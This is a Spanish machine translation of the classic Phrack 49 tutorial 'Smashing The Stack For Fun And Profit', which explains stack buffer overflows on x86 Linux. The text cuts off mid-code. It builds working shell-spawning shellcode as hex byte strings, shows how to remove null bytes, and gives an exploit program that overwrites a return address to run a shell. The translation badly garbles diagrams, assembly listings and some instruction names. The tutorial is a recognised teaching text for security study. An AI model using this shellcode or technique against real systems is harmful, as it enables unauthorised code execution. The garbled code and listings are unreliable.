Suscríbete a DeepL Pro para poder traducir archivos de mayor tamaño. Más información disponible en www.DeepL.com/pro. .oO Phrack 49 Oo. Volumen Siete, Número Cuarenta y Nueve Archivo 14 de 16 BugTraq, r00t y Underground.Org traerte Smashing The Stack For Fun And Profit Aleph One aleph1@underground.org smash the stack` [C programming] n. En muchas implementaciones de C es posible corromper la pila de ejecución escribiendo más allá del final de un array declarado auto en una rutina. El código que hace esto se dice que destroza la pila, y puede causar que el retorno de la rutina salte a una dirección aleatoria. Esto puede producir algunos de los bugs dependientes de datos más insidiosos conocidos por la humanidad. Las variantes incluyen trash the stack, scribble the stack, mangle the stack; el término mung the stack no se utiliza, ya que esto nunca se hace intencionadamente. Véase spam; véase también alias bug, fandango on core, fuga de memoria, pérdida de precedencia, overrun screw. Introducción En los últimos meses ha habido un gran aumento de vulnerabilidades de desbordamiento de búfer descubiertas y explotadas. Algunos ejemplos son syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, la biblioteca Xt, at, etc. Este artículo intenta explicar qué son los desbordamientos de búfer y cómo funcionan sus exploits. Se requieren conocimientos básicos de ensamblador. Una comprensión de los conceptos de memoria virtual, y experiencia con gdb son muy útiles pero no necesarios. También asumimos que estamos trabajando con una CPU Intel x86, y que el sistema operativo es Linux. Algunas definiciones básicas antes de empezar: Un buffer es simplemente un bloque contiguo de la memoria del ordenador que contiene múltiples instancias del mismo tipo de datos. Los programadores de C normalmente asocian con la palabra buffer arrays. Más comúnmente, matrices de caracteres. Las matrices, como todas las variables en C, pueden declararse estáticas o dinámicas. Las variables estáticas se asignan en tiempo de carga en el segmento de datos. Las variables dinámicas se asignan en tiempo de ejecución en la pila. Desbordarse es fluir o llenarse por encima de la parte superior, los bordes o los límites. Sólo nos ocuparemos del desbordamiento de búferes dinámicos, también conocidos como desbordamientos de búfer basados en pila. Organización de la memoria de proceso Para entender qué son los búferes de pila, primero debemos comprender cómo se organiza un proceso en la memoria. Los procesos se dividen en tres regiones: Texto, Datos y Pila. Nos concentraremos en la región de la pila, pero antes conviene hacer una pequeña descripción de las otras regiones. La región de texto está fijada por el programa e incluye código (instrucciones) y datos de sólo lectura. Esta región corresponde a la sección de texto del archivo ejecutable. Esta región normalmente está marcada como de sólo lectura y cualquier intento de escribir en ella provocará una violación de la segmentación. La región de datos contiene datos inicializados y no inicializados. Las variables estáticas se almacenan en esta región. La región de datos corresponde a las secciones databss del archivo ejecutable. Su tamaño puede modificarse con la llamada al sistema brk(2). Si la expansión de los datos bss o de la pila de usuario agota la memoria disponible, el proceso se bloquea y se reprograma para volver a ejecutarse con un espacio de memoria mayor. Se añade nueva memoria entre los segmentos de datos y pila. / | | | | | | | | | | | \ \ inferior | memoria Text | o Direcciones | (Inicializado) | | Dato | s (Sin inicializar) | | | direccion Pila | es de / memoria superiore s Fig. 1 Regiones de memoria de proceso ¿Qué es una pila? Una pila es un tipo de datos abstracto utilizado con frecuencia en informática. Una pila de objetos tiene la propiedad de que el último objeto colocado en la pila será el primer objeto eliminado. Esta propiedad se conoce comúnmente como cola de último en entrar, primero en salir, o LIFO. En las pilas se definen varias operaciones. Dos de las más importantes son PUSH y POP. PUSH añade un elemento en la parte superior de la pila. POP, por el contrario, reduce el tamaño de la pila en uno eliminando el último elemento de la parte superior de la pila. ¿Por qué utilizamos una pila? Los ordenadores modernos se diseñan teniendo en cuenta la necesidad de los lenguajes de alto nivel. La técnica más importante para estructurar programas introducida por los lenguajes de alto nivel es el procedimiento o función. Desde un punto de vista, una llamada a un procedimiento altera el flujo de control igual que un salto, pero a diferencia de éste, cuando termina de realizar su tarea, una función devuelve el control a la sentencia o instrucción que sigue a la llamada. Esta abstracción de alto nivel se implementa con la ayuda de la pila. La pila también se utiliza para asignar dinámicamente las variables locales utilizadas en las funciones, para pasar parámetros a las funciones y para devolver valores de la función. La región de la pila Una pila es un bloque contiguo de memoria que contiene datos. Un registro llamado puntero de pila (SP) señala la parte superior de la pila. La parte inferior de la pila se encuentra en una dirección fija. Su tamaño es ajustado dinámicamente por el kernel en tiempo de ejecución. La CPU implementa instrucciones para PUSH onto y POP off de la pila. La pila está formada por marcos lógicos que se introducen cuando se llama a una función y se extraen cuando se devuelve. Un marco de pila contiene los parámetros de una función, sus variables locales y los datos necesarios para recuperar la pila anterior. incluyendo el valor del puntero de instrucción en el momento de la llamada a la función. Dependiendo de la implementación, la pila crecerá hacia abajo (hacia direcciones de memoria más bajas) o hacia arriba. En nuestros ejemplos usaremos una pila que crece hacia abajo. Esta es la forma en que crece la pila en muchos ordenadores, incluyendo los procesadores Intel, Motorola, SPARC y MIPS. El puntero de la pila (SP) también depende de la implementación. Puede apuntar a la última dirección de la pila, o a la siguiente dirección libre disponible después de la pila. Para nuestra discusión asumiremos que apunta a la última dirección de la pila. Además del puntero de pila, que apunta a la parte superior de la pila (la dirección numérica más baja), a menudo es conveniente tener un puntero de trama (PF) que apunta a una ubicación fija dentro de una trama. Algunos textos también se refieren a él como puntero de base local (LB). En principio, las variables locales podrían ser referenciadas dando sus desplazamientos desde SP. Sin embargo, a medida que se introducen y extraen palabras de la pila, estos desplazamientos cambian. Aunque en algunos casos el compilador puede hacer un seguimiento del número de palabras en la pila y así corregir los desplazamientos, en otros casos no puede, y en todos los casos se requiere una considerable administración. Además, en algunas máquinas, como los procesadores basados en Intel, acceder a una variable a una distancia conocida de SP requiere múltiples instrucciones. En consecuencia, muchos compiladores utilizan un segundo registro, FP, para referenciar tanto variables locales como parámetros porque sus distancias desde FP no cambian con PUSHs y POPs. En las CPUs Intel, BP (EBP) se utiliza para este propósito. En las CPUs Motorola, cualquier registro de dirección excepto A7 (el puntero de la pila) servirá. Debido a la forma en que crece nuestra pila, los parámetros reales tienen offsets positivos y las variables locales tienen offsets negativos desde FP. Lo primero que debe hacer un procedimiento al ser llamado es guardar el FP anterior (para que pueda ser restaurado al salir del procedimiento). Luego copia SP en FP para crear el nuevo FP, y avanza SP para reservar espacio para las variables locales. Este código se llama prólogo del procedimiento. Al salir del procedimiento, la pila debe ser limpiada de nuevo, algo llamado epílogo del procedimiento. Las instrucciones ENTER y LEAVE de Intel y las instrucciones LINK y UNLINK de Motorola, han sido provistas para hacer la mayor parte del trabajo del prólogo y epílogo del procedimiento eficientemente. Veamos como se ve la pila en un ejemplo simple: ejemplo1.c: void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } Para entender lo que hace el programa para llamar a function() lo compilamos con gcc usando el modificador S para generar la salida de código ensamblador: $ gcc -S -o ejemplo1.s ejemplo1.c Observando la salida del lenguaje ensamblador vemos que la llamada a function() se traduce a: pushl $3 pushl $2 pushl $1 llamar función Esto empuja los 3 argumentos de la función hacia atrás en la pila, y llama a function(). La instrucción 'call' empujará el puntero de instrucción (IP) a la pila. Llamaremos a la IP guardada la dirección de retorno (RET). Lo primero que se hace en function es el prólogo del procedimiento: pushl %ebp movl %esp,%ebp subl $20,%esp Esto empuja EBP, el puntero del marco, a la pila. Luego copia el SP actual en EBP, convirtiéndolo en el nuevo puntero FP. Llamaremos SFP al puntero FP guardado. A continuación, asigna espacio para las variables locales restando su tamaño de SP. Debemos recordar que la memoria sólo puede direccionarse en múltiplos del tamaño de la palabra. Una palabra en nuestro caso son 4 bytes, o 32 bits. Así que nuestro buffer de 5 bytes va a ocupar realmente 8 bytes (2 palabras) de memoria, y nuestro buffer de 10 bytes va a ocupar 12 bytes (3 palabras) de memoria. Por eso a SP se le resta 20. Con esto en mente nuestra pila se ve así cuando se llama a function() (cada espacio parte represenftaonudnobydtee): memoria búfer2 <------ [ búfer1 ][ arriba deabajo de pila sfp ret a ][ ][ ][ b ][ c ][ ] super ior de la memori a apila r Desbordamientos del búfer Un desbordamiento de búfer es el resultado de introducir en un búfer más datos de los que puede manejar. ¿Cómo puede aprovecharse este error de programación tan frecuente para ejecutar código arbitrario? Veamos otro ejemplo: ejemplo2.c void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char cadena_grande[256]; int i; for( i = 0; i < 255; i++) cadena_grande[i] = 'A'; function(cadena_grande); } Este programa tiene una función con un error de codificación típico de desbordamiento de búfer. La función copia una cadena suministrada sin comprobación de límites usando strcpy() en lugar de strncpy(). Si ejecutas este programa obtendrás un violación de segmentación. Veamos cómo se ve su pila cuando llamamos a la función: fondo de memoria ret *str sfp ][ ][ ] ][ búfer [ <------ parte super ior de la memori aparte inferior de pila parte super ior de la pila ¿Qué ocurre aquí? ¿Por qué obtenemos una violación de segmentación? Simple. strcpy() está copiando el contenido de *str (cadena_mayor[]) en buffer[] hasta encontrar un carácter nulo en la cadena. Como podemos ver buffer[] es mucho más pequeño que *str. buffer[] tiene 16 bytes de longitud, y estamos intentando rellenarlo con 256 bytes. Esto significa que los 250 [240] bytes después del buffer en la pila están siendo sobreescritos. Esto incluye el SPP, RET, ¡e incluso *str! Hemos llenado large_string con el caracter 'A'. Su valor hexadecimal es 0x41. Esto significa que la dirección de retorno es ahora 0x41414141. Esto está fuera del espacio de direcciones del proceso. Es por eso que cuando la función retorna y trata de leer la siguiente instrucción desde esa dirección se obtiene una violación de segmentación. Así que un desbordamiento de búfer nos permite cambiar la dirección de retorno de una función. De esta manera podemos cambiar el flujo de ejecución del programa. Volvamos a nuestro parte jemplo de y recordemos cómo era la pila: primer efondo memoria búfer2 <------ [ búfer1 ][ arriba deabajo de pila sfp ret a ][ ][ ][ b ][ c ][ ] super ior de la memori a apila r Vamos a intentar modificar nuestro primer ejemplo para que sobrescriba la dirección de retorno, y demostrar cómo podemos hacer que ejecute código arbitrario. Justo antes del buffer1[] en la pila está SFP, y antes de él, la dirección de retorno. Es decir, 4 bytes pasan el final del buffer1[]. Pero recuerda que buffer1[] es en realidad 2 palabras por lo que tiene 8 bytes de largo. Así que la dirección de retorno está a 12 bytes del inicio del buffer1[]. Vamos a modificar el valor de retorno de tal manera que se salte la sentencia de asignación 'x = 1;' después de la llamada a la función. Para ello añadiremos 8 bytes a la dirección de retorno. Nuestro código es ahora: ejemplo3.c: void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } Lo que hemos hecho es añadir 12 a la dirección de buffer1[]. Esta nueva dirección es donde se almacena la dirección de retorno. Queremos saltar más allá de la asignación a la llamada printf. ¿Cómo supimos que debíamos añadir 8 [debería ser 10] a la dirección de retorno? Primero usamos un valor de prueba (por ejemplo 1), compilamos el programa, y luego iniciamos gdb: [aleph1]$ gdb ejemplo3 GDB es software libre y puede distribuir copias del mismo bajo ciertas condiciones; escriba "show copying" para ver las condiciones. No hay absolutamente ninguna garantía para GDB; escriba "show warranty" para más detalles. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no se han encontrado símbolos de depuración)... (gdb) desmontar main Volcado del código ensamblador de la función main: 0x8000490 : pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x800041 : pushl $0x1 llame 0x8000470 0x80004a3 : a 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 llame 0x8000378 0x80004bb : a 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop Podemos ver que al llamar a function() el RET será 0x8004a8, y queremos saltar más allá de la asignación en 0x80004ab. La siguiente instrucción que queremos ejecutar está en 0x8004b2. Un poco de matemáticas nos dice que la distancia es de 8 bytes [debería ser 10]. Código Shell Ahora que sabemos que podemos modificar la dirección de retorno y el flujo de ejecución, ¿qué programa queremos ejecutar? En la mayoría de los casos simplemente querremos que el programa genere un intérprete de comandos. Desde el intérprete de comandos podemos emitir otros comandos como deseemos. ¿Pero qué pasa si no hay tal código en el programa que estamos tratando de explotar? ¿Cómo podemos colocar una instrucción arbitraria en su espacio de direcciones? La respuesta es colocar el código que estamos intentando ejecutar en el búfer que estamos desbordando, y sobrescribir la dirección de retorno para que apunte de nuevo al búfer. Asumiendo que la pila comienza en la dirección 0xFF, y que S representa el código que queremos ejecutar, la pila se vería así: fondo de la memoria DDDDDDDDEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF parte super ior de la memori a búfer sfp ret a b c <-------- [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | | | parte superior de la pila parte inferior de pila El código para generar un shell en C es el siguiente: shellcode.c #include stdio.h void main() { char *nombre[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } Para saber qué aspecto tiene en ensamblador, lo compilamos y arrancamos gdb. Recuerda usar la bandera static. De lo contrario, el código real para la llamada al sistema execve no se incluirá. En su lugar habrá una referencia a la librería dinámica en C que normalmente se enlazaría en tiempo de carga. [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB es software libre y puede distribuir copias del mismo bajo ciertas condiciones; escriba "show copying" para ver las condiciones. No hay absolutamente ninguna garantía para GDB; escriba "show warranty" para más detalles. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) desensamblar main Volcado del código ensamblador de la funciónmain: 0x8000130 : pushl%ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl 0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp)0x8000144 : pushl$0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax0x80001 49 : pushl%eax 0x800014a : movl 0xfffffff8(%ebp),%eax0x80001 4d : pushl%eax 0x800014e : call0x80002bc < execve> 0x8000153 : addl 0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret Fin del volcado del ensamblador. (gdb) desensamblar execve Volcado del código ensamblador de la función execve: 0x80002bc < %ebp 0x80002bd < execve+1>: movl %esp,%ebp 0x80002bf <execve+3>: %ebx 0x80002c0 < execve+4>: movl 0xb,%eax 0x80002c5 < e x e c v e + 9 >: movl 0x8(%ebp),%ebx 0x80002c8 < execve+12>: movl 0xc(%ebp),%ecx 0x80002cb < e x e c v e + 1 5 >: movl 0x10(%ebp),%edx 0x80002ce < execve+18>: int 0x80 0x80002d0 < execve+20>: movl %eax,%edx 0x80002d2 <execve+22>: testl%edx,%edx 0x80002d4 < execve+24>: jnl0x80002e6 < execve+42> 0x80002d6 < execve+26>: negl %edx 0x80002d8 < execve+28>: pushl %edx 0x80002d9 < execve+29>: call0x8001a34 < normal_errno_location> 0x80002de < execve+34>: popl %edx 0x80002df < execve+35>: movl %edx,(%eax) 0x80002e1 < execve+37>: movl $0xffffff,%eax 0x80002e6 < execve+42>: popl %ebx 0x80002e7 < e x e c v e + 4 3 >: movl %ebp,%esp 0x80002e9 < execve+45>: popl %ebp 0x80002ea < execve+46>: ret 0x80002eb < execve+47>: nop Fin del volcado del ensamblador. Intentemos comprender lo que ocurre aquí. Empezaremos por estudiar la principal: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp Este es el preludio del procedimiento. Primero guarda el antiguo puntero de la trama, hace que el puntero actual de la pila sea el nuevo puntero de la trama, y deja espacio para las variables locales. En este caso es: char *nombre[2]; o 2 punteros a un char. Los punteros miden una palabra, así que deja espacio para dos palabras (8 bytes). 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) Copiamos el valor 0x80027b8 (la dirección de la cadena "/bin/sh") en el primer puntero de nombre[]. Esto equivale a: nombre[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) Copiamos el valor 0x0 (NULL) en el segundo puntero de nombre[]. Esto es equivalente a: nombre[1] = NULL; La llamada real a execve() comienza aquí. 0x8000144 : pushl $0x0 Introducimos los argumentos de execve() en la pila en orden inverso. Comenzamos con NULL. 0x8000146 : leal 0xfffffff8(%ebp),%eax Cargamos la dirección de nombre[] en el registro EAX. 0x8000149 : pushl %eax Introducimos la dirección de nombre[] en la pila. 0x800014a : movl 0xfffffff8(%ebp),%eax Cargamos la dirección de la cadena "/bin/sh" en el registro EAX. 0x800014d : pushl %eax Introducimos la dirección de la cadena "/bin/sh" en la pila. 0x800014e : llamada 0x80002bc < execve> Llama al procedimiento de biblioteca execve(). La instrucción de llamada empuja la IP a la pila. Ahora execve(). Ten en cuenta que estamos usando un sistema Linux basado en Intel. Los detalles de la llamada al sistema cambiarán de un sistema operativo a otro, y de una CPU a otra. Algunos pasarán los argumentos por la pila, otros por los registros. Algunos usan una interrupción de software para saltar al modo kernel, otros usan una llamada lejana. Linux pasa sus argumentos a la llamada al sistema en los registros, y usa una interrupción de software para saltar al modo kernel. 0x80002bc <execve> %ebp 0x80002bd < execve+1>: movl%esp ,%ebp 0x80002bf < execve+3>: pushl %ebx El preludio del procedimiento. 0x80002c0 < execve+4>: movl $0xb,%eax Copia 0xb (11 decimal) en la pila. Este es el índice en la tabla syscall. 11 es execve. 0x80002c5 < execve+9>: movl 0x8(%ebp),%ebx Copia la dirección de "/bin/sh" en EBX. 0x80002c8 < execve+12>: movl 0xc(%ebp),%ecx movl 0x10(%ebp),%edx int $0x80 Copia la dirección de nombre[] en ECX. 0x80002cb < execve+15>: Copia la dirección del puntero nulo en %edx. 0x80002ce < execve+18>: Cambia al modo kernel. [Trap into the kernel.] Como podemos ver no hay mucho que hacer con la llamada al sistema execve(). Todo lo que tenemos que hacer es: a. b. c. d. e. f. g. Tener la cadena terminada en nulo "/bin/sh" en algún lugar de la memoria. Tener la dirección de la cadena "/bin/sh" en algún lugar de la memoria seguida de una palabra larga nula. Copia 0xb en el registro EAX. Copia la dirección de la cadena "/bin/sh" en el registro EBX. Copia la dirección de la cadena "/bin/sh" en el registro ECX. Copia la dirección de la palabra larga nula en el registro EDX. Ejecuta la instrucción int $0x80. ¿Pero qué pasa si la llamada a execve() falla por alguna razón? El programa continuará obteniendo instrucciones de la pila, ¡que pueden contener datos aleatorios! Lo más probable es que el programa haga un core dump. Queremos que el programa salga limpiamente si la llamada al sistema execve falla. Para lograr esto debemos agregar una llamada al sistema exit después de la llamada al sistema execve. ¿Qué aspecto tiene la llamada al sistema de salida? exit.c #include <stdlib.h> void main() { exit(0); } [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB es software libre y puede distribuir copias del mismo bajo ciertas condiciones; escriba "show copying" para ver las condiciones. No hay absolutamente ninguna garantía para GDB; escriba "show warranty" para más detalles. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no se han encontrado símbolos de depuración)... (gdb) disassemble _exit Volcado del código ensamblador de la función _exit: 0x800034c <_salir>: pushl %ebp 0x800034d <_salida+1>: movl %esp,%ebp 0x800034f <_salida+3>: pushl %ebx 0x8000350 <_salida+4>: movl $0x1,%eax 0x8000355 <_salida+9>: movl 0x8(%ebp),%ebx 0x8000358 <_salida+12> int $0x80 : 0x800035a <_salida+14> movl 0xfffffffc(%ebp),%ebx : 0x800035d <_salida+17> movl %ebp,%esp : 0x800035f <_salida+19> popl %ebp : 0x8000360 <_salida+20> ret : 0x8000361 <_salida+21> nop : 0x8000362 <_salida+22> nop : 0x8000363 <_salida+23> nop : Fin del volcado del ensamblador. La llamada al sistema de salida colocará 0x1 en EAX, colocará el código de salida en EBX, y ejecutará "int 0x80". Y ya está. La mayoría de las aplicaciones devuelven 0 al salir para indicar que no hay errores. Pondremos 0 en EBX. Nuestra lista de pasos es ahora: a. Tener la cadena terminada en nulo "/bin/sh" en algún lugar de la memoria. b. c. d. e. f. g. h. i. j. Tener la dirección de la cadena "/bin/sh" en algún lugar de la memoria seguida de una palabra larga nula. Copia 0xb en el registro EAX. Copia la dirección de la cadena "/bin/sh" en el registro EBX. Copia la dirección de la cadena "/bin/sh" en el registro ECX. Copia la dirección de la palabra larga nula en el registro EDX. Ejecuta la instrucción int $0x80. Copia 0x1 en el registro EAX. Copia 0x0 en el registro EBX. Ejecuta la instrucción int $0x80. Intentando juntar esto en lenguaje ensamblador, colocando la cadena después del código, y recordando que colocaremos la dirección de la cadena, y la palabra nula después del array, tenemos: movl cadena_direccion,cadena_dire ccion_direccion movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 La cadena /bin/sh va aquí. El problema es que no sabemos en qué parte del espacio de memoria del programa que estamos intentando explotar se colocará el código (y la cadena que le sigue). Una forma de evitarlo es usar una instrucción JMP, y una CALL. Las instrucciones JMP y CALL pueden utilizar direccionamiento relativo IP, lo que significa que podemos saltar a un offset desde la IP actual sin necesidad de conocer la dirección exacta de la memoria en la que queremos saltar. Si colocamos una instrucción CALL justo antes de la cadena "/bin/sh", y una instrucción JMP a ella, la dirección de la cadena será empujada a la pila como dirección de retorno cuando se ejecute CALL. Todo lo que necesitamos entonces es copiar la dirección de retorno en un registro. La instrucción CALL puede simplemente llamar al inicio de nuestro código anterior. Asumiendo ahora que J representa la instrucción JMP, C la instrucción CALL, y s la cadena, el flujo de ejecución sería ahora: fondo de la memoria DDDDDDDDEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF búfer sfp ret a b c < -------- [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | ||| || | (1) (2) || || | | (3) arriba deabajo de pila r parte super ior de la memori a apila [No hay suficientes pequeños en la figura; strlen("/bin/sh") == 7.] Con estas modificaciones, utilizando indexado direccionamiento, y anotando cuántos bytes ocupa cada instrucción nuestro código tiene el siguiente aspecto: jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax# 5 bytes movl %esi,%ebx# 2 bytes lealarrayoffset(%esi ),%ecx # 3 bytes leal nulloffset(%esi),%edx# 3 bytes int $0x80# 2 bytes movl$0x1 , %eax# 5 bytes movl$0x0 , %ebx# 5 bytes int $0x80# 2 bytes llamar a offset-to-popl# 5 bytes La cadena /bin/sh va aquí. Calculando los desplazamientos de jmp a call, de call a popl, de la dirección de la cadena al array, y de la dirección de la cadena a la palabra larga nula, tenemos ahora: jmp 0x26 popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 llame -0x2b a .string \"/bin/sh\" # # # # # # # # # # # # # # 2 1 3 4 7 5 2 3 3 2 5 5 2 5 bytes byte bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes # 8 bytes Tiene buena pinta. Para asegurarnos de que funciona correctamente debemos compilarlo y ejecutarlo. Pero hay un problema. Nuestro código se modifica a sí mismo [¿dónde?], pero la mayoría de los sistemas operativos marcan las páginas de código como de sólo lectura. Para evitar esta restricción debemos colocar el código que deseamos ejecutar en la pila o segmento de datos, y transferirle el control. Para ello colocaremos nuestro código en una matriz global en el segmento de datos. Primero necesitamos una representación hexadecimal del código binario. Vamos a compilarlo primero, y luego usaremos gdb para obtenerlo. shellcodeasm.c void main() { asm ( " jmp popl movl movb 0x2a %esi %esi,0x8(%esi) $0x0,0x7(%esi) # # # # 3 1 3 4 bytes byte bytes bytes movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 llame -0x2f a .string \"/bin/sh\" # # # # # # # # # # 7 5 2 3 3 2 5 5 2 5 bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes # 8 bytes "); } [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB es software libre y puede distribuir copias del mismo bajo ciertas condiciones; escriba "show copying" para ver las condiciones. No hay absolutamente ninguna garantía para GDB; escriba "show warranty" para más detalles. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) desensamblar main Volcado del código ensamblador de la funciónmain: 0x8000130 : pushl%ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0 x 8 0 0 0 1 3 6 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl 0x0,0xc(%esi) 0x8000144 : movl 0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int 0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d : int 0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae0x80001d3 < new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) Fin del volcado del ensamblador. (gdb) x/bx main+3 0x8000133 : 0xeb (gdb) 0x8000134 : 0x2a (gdb) . . . testsc.c char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ¡Funciona! Pero hay un obstáculo. En la mayoría de los casos estaremos intentando desbordar un búfer de caracteres. Como tal, cualquier byte nulo en nuestro shellcode se considerará el final de la cadena, y la copia terminará. No debe haber bytes nulos en el shellcode para que el exploit funcione. Intentemos eliminar los bytes (y al mismo tiempo hacerlo más pequeño). Instrucción de problemas: Sustituir por: movb molv $0x0,0x7(%esi) $0x0,0xc(%esi) xorl movb movl %eax,%eax %eax,0x7(%esi) %eax,0xc(%esi) movl 0xb,%eax movb $0xb,%al movl$0x1 movl$0x0 , %eax xorl %ebx,%ebx , %ebxmovl %ebx,%eax inc %eax Nuestro código mejorado: shellcodeasm2.c void main() { asm ( " jmp popl movl xorl movb movl movb movl leal leal int xorl movl 0x1f %esi %esi,0x8(%esi) %eax,%eax %eax,0x7(%esi) %eax,0xc(%esi) $0xb,%al %esi,%ebx 0x8(%esi),%ecx 0xc(%esi),%edx $0x80 %ebx,%ebx %ebx,%eax # # # # # # # # # # # # # 2 1 3 2 3 3 2 2 3 3 2 2 2 bytes byte bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes inc %eax# 1 bytes int $0x80# 2 bytes llamar a .string \"/bin/sh\" -0x24# 5 bytes # 8 bytes # 46 bytes total "); } Y nuestro nuevo programa de pruebas: testsc2.c char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ Escribir un exploit Tratemos de juntar todas las piezas. Tenemos el shellcode. Sabemos que debe ser parte de la cadena que usaremos para desbordar el buffer. Sabemos que debemos apuntar la dirección de retorno de vuelta al buffer. Este ejemplo demostrará estos puntos: desbordamiento1.c char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char cadena_grande[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) cadena_grande; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) cadena_grande[i] = shellcode[i]; strcpy(buffer,cadena_grande); } [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ Lo que hemos hecho arriba es llenar el array large_string[] con la dirección de buffer[], que es donde estará nuestro código. Luego copiamos nuestro shellcode al principio de la cadena large_string. strcpy() copiará entonces large_string en buffer sin hacer ninguna comprobación de límites, y desbordará la dirección de retorno, sobrescribiéndola con la dirección donde se encuentra ahora nuestro código. Una vez que llegamos al final de main e intentó retornar salta a nuestro código, y ejecuta un shell. El problema al que nos enfrentamos cuando intentamos desbordar el buffer de otro programa es intentar averiguar en qué dirección estará el buffer (y por tanto nuestro código). La respuesta es que para cada programa la pila comenzará en la misma dirección. La mayoría de los programas no introducen más de unos cientos o miles de bytes en la pila en un momento dado. Por lo tanto, sabiendo dónde empieza la pila podemos intentar adivinar dónde estará el buffer que estamos intentando desbordar. Aquí hay un pequeño programa que imprimirá su puntero de pila: sp.c unsigned long get_sp(void) { asm ( "movl %esp,%eax"); } void main() { printf("0x%x\n", 